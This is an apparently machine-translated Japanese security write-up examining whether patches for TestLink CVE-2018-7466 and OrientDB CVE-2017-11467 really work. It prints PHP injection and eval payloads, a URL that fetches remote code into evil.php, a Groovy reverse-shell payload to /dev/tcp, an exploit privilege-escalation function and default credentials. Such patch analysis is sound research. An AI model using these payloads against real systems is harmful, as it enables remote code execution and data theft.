閉じたドアに入ること、または脆弱性にパッチを適用する方法は可能ですか？

世界中で毎日多数のCVEが公開されています（ riskbasedsecurity.comによると、2017年には20,832個のCVEが公開されています）。 しかし、製造業者はセキュリティレポートを十分に理解し、注意を払って扱うようになりました。そのため、バグをクローズする速度が大幅に向上しました（私たちの感覚による）。



いくつかの製品を見て、なぜ脆弱性が生じたのかを理解することは興味深いものになりました（他者の間違いから学びます）。 また、メーカーがそれらを修正する方法と、常に成功するかどうか（常にではなく、将来を見据えて）。

選択基準：

適切に制御された実験と同様に、問題の脆弱性にいくつかの制限を設けています。

• エクスプロイトがあるはずです-アップデートの前にすべてが十分に悪用されていて、その後はうまくいったことを確認したいと思います。
• 脆弱性は重要（理想的にはRCE）であり、高得点である必要があります。
• 製品はオープンソースでなければなりません。
• 製品を放棄して積極的に使用しないでください。
• 脆弱性は比較的新しいはずです。
• 主なことは、私たち自身が興味を持っているということです。

私たちが選んだものと方法：

vulners.com （ハッカーの「Google」）にアクセスし、過去数週間でexploit-db.comからのすべてのエクスプロイトを表示するように依頼しました。 そこで、最初の病棟の主題を見つけました。 TestLink Open Source Test Managementは、PHPで書かれたWebベースのテスト管理システムです。

（CVE-2018-7466、スコア8.3、RCE、2018年2月25日公開-必要なすべて）。

スコア10で2番目のテストを検索することにしました。そして、OrientDBの脆弱性（CVE-2017-11467、スコア10、RCE、2017年7月17日公開、ほぼ希望どおり）に衝撃を受けました。 OrientDBは、ドキュメント指向とグラフ指向のデータベース（wiki）の機能を組み合わせたオープンDBMSです。



選択プロセスには15〜20分かかりました。 この時間の大部分は、それがどのような種類の製品であり、基準に適合するかどうかを理解しようとしました。 選択肢は比較的ランダムに呼び出すことができます。 私たちは主題を検討し始めます。

TestLinkオープンソーステスト管理（CVE-2018-7466）：

エクスプロイトの説明を読みます。 1.9.16（包括的）までのバージョンは脆弱であり、バージョン1.9.17ではすべてが修正されていることがわかります。 新しいバージョンと古いバージョンのダウンロードを希望して、メーカーのウェブサイトにアクセスします。 ここで私たちは最初の驚くべき瞬間を待っています：メーカーのウェブサイトには脆弱なバージョンしかありません。 インターネットバージョン1.9.17での検索では結果が得られません。 新しいバージョンが2018年の第1四半期にリリースされるというニュースを見つけました。 しかし、開発者が問題を修正した方法を理解するために最新バージョンを入手できるgithubプロジェクトがあります。



ここではTestLinkを使用しますが、すべてが簡単です。 Apache + PHP + Mysqlバンドルをインストールし、プロジェクトフォルダーをWebサーバーフォルダーに解凍する必要があります。 その後、Webサーバーにアクセスすると、インストールウィザードが表示され、デフォルトユーザーがadminでパスワードがadminであることがわかります。 最初のログインでは、変更するよう求められませんが、これはユーザー設定で簡単に行うことができます。



エクスプロイトのテキストから、問題のあるスクリプトは「/install/installDbInput.php」であることがわかります。 これはインストールフォルダーにあり、インストールは既に完了しています。理論的には、既に使用できないはずです。 ただし、彼女に連絡しようとすると、そうではないことがわかります。 インストーラのこの動作は、誰でもすべてのレコードを消去できるため、非常に安全ではありません。 もちろん、私は行き過ぎです。 実際、新しいMysqlサーバーを使用する必要があることを示すことができますが、すべてが古いサーバーに残り、作業バージョンにロールバックすることができます。



エクスプロイトテキストでは、フォームの文字列がユーザー名として渡されます。

"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

明らかに、PHPコードにインジェクションがあります。 それがどこから来たのか見てみましょう。 installDbInput.phpスクリプトに移動し、62〜69行目のユーザー値の保存を確認します。 その後、それらは何らかの形で使用され、その後、行489-498でファイルに保存されます

 $cfg_file = "../config_db.inc.php".
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 // get db info from session //  62-69 $db_server = $_SESSION['databasehost']; $db_admin_name = $_SESSION['databaseloginname']; $db_admin_pass = $_SESSION['databaseloginpassword']; $db_name = $_SESSION['databasename']; $db_type = $_SESSION['databasetype']; $tl_db_login = $_SESSION['tl_loginname']; $tl_db_passwd = $_SESSION['tl_loginpassword']; $db_table_prefix = $_SESSION['tableprefix'];
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

 // 489-498 $data['db_host']=$db_server; $data['db_login'] = $user_host[0]; $data['db_passwd'] = $tl_db_passwd; $data['db_name'] = $db_name; $data['db_type'] = $db_type; $data['db_table_prefix'] = $db_table_prefix; $cfg_file = "../config_db.inc.php"; $yy = write_config_db($cfg_file,$data);
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ご想像のとおり、「config_db.inc.php」ファイルに書き込んだphpコードは簡単にアクセスでき、実行することができます（従来のRCEの動作）。



エクスプロイト後のconfig_db.inc.phpコードは次のとおりです。

 // config_db.inc.php define('DB_TYPE', 'mysql'); define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//'); define('DB_PASS', '123'); define('DB_HOST', 'localhost'); define('DB_NAME', 'testlink'); define('DB_TABLE_PREFIX', '');
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

TestLinkからの修正：

nist.govのCVEの説明には、可能性のあるログインの長さを32文字に短縮することにより、この脆弱性を「閉じる」 githubコミットへのリンクがあります。 私たちは手をこすり、ログインで32文字の制限をバイパスすることにしました（ただし、コードをより注意深く読むことができ、すでに密室で戦っていることを理解できました）。



最初のエクスプロイトは、注入ごとに64文字でした。 これを短縮する方法を考えた後、標準関数evalを使用して、ユーザー名を1文字に減らすことにしました。 取得したものは次のとおりです。

 b');eval($_GET['e']);//
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

23文字（可能であれば、コメントを書いてください、私たちは好奇心が強い）、このようなものを使用します：

 /config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

「エクスプロイト」コードが機能することを古いバージョンで確認した後、新しいバージョンをgitaからダウンロードし（まだ公式の新しいバージョンはありません）、インストールして失望しました。コードが機能しなかったためです。

コードが機能しなかったのはなぜですか？

ファイルconfig_db.inc.phpで、次の形式で入力したコード：

 define('DB_USER', 'bevalGETe');
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

つまり、すべての特殊文字が削除されました。 新しいinstallNewDB.phpコードをより詳しく調べ、56〜82行目にフォームのユーザー入力の「処理」が追加されていることを確認します。

 $san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name);
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

つまり、文字、数字、および「-」文字以外のすべての文字が削除されます。 そして、それに応じて、エクスプロイトが機能しなくなります。 ご注意 悪用だけでなく、機能自体も機能しなくなります。 正規表現「/ [^ A-Za-z0-9 \-] /」を含むpreg_replaceはすべてのフィールドに適用されるため、データベースでリモートホストを設定することはできなくなりました。 ドットが発生しないレコード（ドメインレコードとipv4アドレスレコードの両方にある）またはコロン（誰もipv6アドレスをキャンセルしなかった）を想像するのは難しいためです。 パスワードの並べ替えも簡単になりました（文字、数字、および「-」記号のみを含めることができます）。

TestLinkおよびCVE-2018-7466の結論：

• 脆弱性は閉じられました。
• 正規表現を閉じる脆弱性は機能の一部を破壊します。
• 脆弱性を閉じる正規表現により、パスワードの推測が容易になります。
• nist.govは、脆弱性を閉じる無効なコミットを指定しました（これが正しいものです ）。

TestLinkおよびCVE-2018-7466に関するメモの愛人：

• ユーザー入力のフィルタリング（これには、自己記述の正規表現ではなく、特殊な言語関数を使用）;
• ユーザー入力をphpスクリプトに保存しないでください（また、phpインタープリターが異なる拡張子のファイルを開始するのを防ぎ、同時にこれらのファイルを返すことを防ぎます）。
• データベースからのログインとパスワードをクリアテキストで保存しないでください。
• インストール後にアクセスを拒否するか、インストールディレクトリを削除します。

OrientDB（CVE-2017-11467）：

エクスプロイトの説明を読みます。 再びgithubへのリンクがあり、バージョン2.2.23で脆弱性が修正されたと書かれています。 そのため、まず第一に、バージョン2.2.22（これは脆弱なはずです）に興味があります。



今回のインストールははるかに簡単です。 開発者は、すべてが構成されているドッカーコンテナーを提供し、ドッカーハブはすべてのバージョンを格納します。 したがって、次のように書くだけです。

 sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

そして、OrientDBの脆弱なバージョンを持つコンテナを取得します。 エクスプロイトのpythonコードを自分自身にコピーして実行します。 ただし、データベースがないという言葉でスクリプトがクラッシュします（Pythonパッケージが不足しているという言葉がまだ含まれている可能性があります）。 ポート2480でローカルホストにアクセスし、データベースを作成します。 組み込みのペイロード（逆シェル）にはbashが必要であり、コンテナーにはshしか存在しないため、このエクスプロイトを再び開始しますが、今回は機能しません。



テストでは、ファイルを作成するだけのペイロードを作成することにしました。 実生活では、すべてがもっと面白くできることは明らかです。



Groovyコードを含むクエリ変数は、ペイロードを処理します。 ペイロードを変更します

 def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

に

 def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute();
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

エクスプロイトを起動すると、コンテナ内にファイルtest.shが作成されます。 すばらしい、悪用は機能し、脆弱性が存在します。

すべてが閉じていることを確認します。

バージョン2.2.23（2017年7月11日）ですべてが正常に閉じられたことを確認します。 このバージョンでコンテナを起動し（データベースを作成）、エクスプロイトを起動し、コンテナ内のファイルを確認します。 私たちは目を信じていません。テストファイルがあります。 製品のバージョンを確認します（Webインターフェースに「about」タブがあります）-すべてがそこにあります、バージョン2.2.23。 別のファイル名を使用してエクスプロイトを再起動します（test.shは最も元の名前ではありません）-すべてが機能しました。 nist.govのエクスプロイトの説明を確認してください。 バージョン2.2.23で脆弱性が閉じられているというリンクがあります。



さて、脆弱性が解決されたバージョンを探しましょう。 すべてのバージョンのコンテナとバイナリ検索アルゴリズムがあることは非常に幸運です。 Cookieを用意して検索を開始します。 最新バージョン2.2.33（2018年3月5日）をリリースします。何かが動作することを期待せずに。 チェック-動作します。



エクスプロイトコードを見ると、問題は当初よりもわずかに深刻であることがわかります。すべてのリクエストは、パスワード「writer」を持つユーザー「writer」の代わりに実行されます。 言い換えれば、2番目の神聖なルールに違反しています。有線パスワードを持つビルトインアカウントが作成されます。 巨大企業でさえこれに苦しんでいます（ 昨年の Oracleのセンセーショナルな脆弱性を思い出してください。組み込みユーザーOIMINTERNALにパスワードスペースが割り当てられていました）。小さなオープンソース製品に期待できることです。 後で、このアカウントだけでなく、admin：admin（私のお気に入り）とreader：readerもあることが判明しました。 同時に、2分間Webインターフェイスを介して変更できる場所はなく、公式のドキュメントには何を行う必要があるかについての情報はありません。



問題は、データベースを作成すると、これらのユーザーが自動的にデータベースに追加されることです。 コードを実行できなかった場合でも、データの表示（およびその変更）は、OrientDBとそのユーザーを使用するリソースの所有者にとって問題になる可能性があります。

シャットダウンしないのはなぜですか？

この脆弱性が解決されるはずのコミットを確認します。 ユーザーが「database.systemclusters」ロールの読み取り許可を持っていることをOCommandExecutorSQLSelect.javaファイルに追加しました。これにより、許可の変更の問題が解決されます。 コンテナバージョン2.2.23を再度上げ、ライターとしてログインし、[セキュリティ]タブに移動すると、アクセスエラーメッセージが表示されます。

 com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23"
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これは、ユーザーが自分の権利を表示できないことを意味します。 バージョン2.2.22では、そのようなエラーはなく、ユーザーは自分の権利を冷静に見て変更できました。



ファイル名に注意してください：OcommandExecutorSQLSelect.java。 キーワードSelectがあります。 gitのフォルダーを調べて、各SQLコマンドにクラスがあり、最後の変更がクラスOCommandExecutorSQLSelect.java（9か月前）に関連していることを確認します。



エクスプロイトコードにpriv_escalation関数があります

 def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False,
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これは、ロールdatabase.class.ouser、database.function、database.systemclustersに対して「許可」操作を実行します（これらには完全な権限「作成」、「読み取り」、「更新」、「実行」、「削除」が付与されます）。



OCommandExecutorSQLGrant.javaクラスは、OcommandExecutorSQLSelect.javaクラスで発生した変更を考慮せず、その呼び出しは（Webインターフェイスで突くのではなく）APIに直接行うことができます。 結局のところ、Groovyコードを実行するために必要な権利を自分で与えることが可能であり、これは、エクスプロイトで発生するオペレーティングシステムのコンテキストで実行できます。



3番目の神聖なルールの違反があります：ユーザーがアクセスできるAPIではなく、表示された結果の脆弱性を閉じます。

OrientDBとCVE-2017-11467の結論：

• 脆弱性は閉じられていません（APIにアクセスするときに、Groovyコードを実行するために必要な権利を自分で与えることができます）。
• システムには、高い権限を持つ組み込みユーザーがいます。
• Shodanは、世界中の458のホストがOrientDBを使用しているため、アクセスできる可能性があると述べています。 （直観によれば、これらのデータベースの管理者はビルトインユーザーについて考えず、それらを禁止しませんでした。）

OrientDBとCVE-2017-11467に関するメモの愛人：

• 同じパスワードを持つ組み込みユーザーを作成しないでください。
• インストール時に、組み込みユーザーのパスワードを強制的に変更します（必要な場合）。
• 組み込みユーザーを作成しないでください。
• 表示された結果ではなく、APIのエラーを修正します。
• 閉じられた脆弱性は閉じられない可能性があります。
• nist.govは再び間違っています。

結論：

脆弱性の閉鎖の主題は、当初見たよりもはるかに興味深いことが判明しました。 ランダムに選択された2つの脆弱性は、それらが奇妙に不十分に閉じられていることを示しました。 将来的には、脆弱性の閉鎖により何がどのように発生するかを引き続き検討します。 あなたが観察した奇妙な「クローズド」脆弱性を解説に書いてください。